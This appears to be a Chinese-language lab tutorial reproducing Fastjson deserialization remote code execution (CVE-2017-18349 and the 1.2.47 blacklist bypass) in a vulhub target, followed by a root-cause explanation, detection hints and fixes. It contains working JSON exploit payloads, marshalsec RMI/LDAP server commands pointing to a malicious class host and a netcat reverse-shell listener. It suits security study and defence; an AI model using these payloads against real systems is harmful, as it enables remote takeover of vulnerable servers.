04-Fastjson反序列化漏洞

免责声明

本文仅限于学习讨论与技术知识的分享,不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任,一旦造成后果请自行承担!

1、Fastjson介绍

2、漏洞复现

2.1、1.2.24 RCE CVE-2017-18349

  1. vulhub启动靶场

    启动成功

  2. Kali 用marshalsec启动LDAP/RMI服务

  1. Kali 用python启动HTTP服务,存放恶意类

这是我们的恶意代码

在jdk的bin目录下编译恶意文件

可以通过访问看有没有启动成功

  1. Kali 用netcat监听端口,建立反弹连接
bash 复制代码
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.110.5:8089/#LinuxTouch" 9473

5、发送payload

bash 复制代码
POST / HTTP/1.1
Host: 192.168.110.16:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 188

{ 

	"b": { 
			"@type": "com.sun.rowset.JdbcRowSetImpl", 
			"dataSourceName": "rmi://192.168.110.5:9473/LinuxTouch", 
			"autoCommit": true
	}
}

结果

先后连接成功


8090端口接收到了我们发送的payload并进行反序列化,然后去连接到了rmi://192.168.110.5:9473这个服务器,rmi服务器作为一个指路人去8089端口下载恶意文件

2.2、1.2.47 RCE CNVD-2019-22238

绕过原理

在1.2.47版本及以下的情况下,loadClass中默 认cache为true,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存 中获取到了com.sun.rowset.jdbcRowSetlmpl这个类,即可绕过黑名单。

  1. 启动靶场
  2. kali启动监听
bash 复制代码
nc -lvp 9001
  1. Kali 用marshalsec启动LDAP/RMI服务
bash 复制代码
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.110.5:8089/#LinuxRevers" 9473
  1. 恶意类,对其进行编译等等。跟上面步骤一样。
  2. 放入到对应文件夹中并启动http服务
  3. 发送payload
bash 复制代码
POST / HTTP/1.1
Host: 192.168.110.16:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 268

{
  "a":{
      "@type":"java.lang.Class", 
      "val":"com.sun.rowset.JdbcRowSetImpl"
  },
  "b":{ 
      "@type":"com.sun.rowset.JdbcRowSetImpl", 
      "dataSourceName":"ldap://192.168.110.5:9473/LinuxRevers", 
      "autoCommit":true
  }
}

连接成功

3、漏洞原理

1、序列化字符准备类名、dataSourceName属性和autoCommit属性

2、JdbcRowSetImpl反序列化,调用JdbcRowSetImpl的setAutoCommit()

3、setAutoCommit()调用connect()

3、connect()调用lookup()连接到LDAP/RMI服务器

4、下载恶意代码到本地,执行,攻击发生

4、漏洞挖掘思路

  1. 找到发送JSON序列化数据的接口
  2. 判断是否使用fastjon
    非法格式报错
    {"x":"

Burp 插件

https://github.com/zilong3033/fastjsonScan

5、漏洞修复

  1. 升级JDK
    6u211 / 7u201 / 8u191 /11.0.1
  2. 升级Fastjson到最新版
    fastjson.parser.safeMode=true
  3. 使用安全产品过滤非法内容
  4. 更换其它序列化工具
    Jackson/Gson
相关推荐
黑客笔记2 小时前
第11章 web应用程序安全(网络安全防御实战--蓝军武器库)
web安全·网络安全·wireshark
谢尔登7 小时前
【Nest】中间件
中间件
去看日出7 小时前
RabbitMQ消息队列中间件安装部署教程(Windows)-2025最新版详细图文教程(附所需安装包)
java·windows·中间件·消息队列·rabbitmq
vortex58 小时前
在Kali中使用虚拟环境安装python工具的最佳实践:以 pwncat 为例
linux·python·网络安全·渗透测试·pip·kali
猿小猴子12 小时前
Python3 爬虫 爬虫中间件
爬虫·中间件
H轨迹H13 小时前
Vulnhub-election靶机
网络安全·渗透测试·vulnhub·ctf·信息收集·web漏洞·oscp
豪门土狗14 小时前
渗透测试之利用sql拿shell(附完整流程+防御方案)【上】
数据库·笔记·sql·网络安全
vortex515 小时前
问题解决:Kali Linux 中配置启用 Vim 复制粘贴功能
linux·运维·网络安全·vim
MC何失眠20 小时前
vulnhub靶场之【digitalworld.local系列】的snakeoil靶机
网络·学习·安全·web安全·网络安全
山风,1 天前
Vulnhub靶机渗透-TR0LL1
linux·服务器·网络安全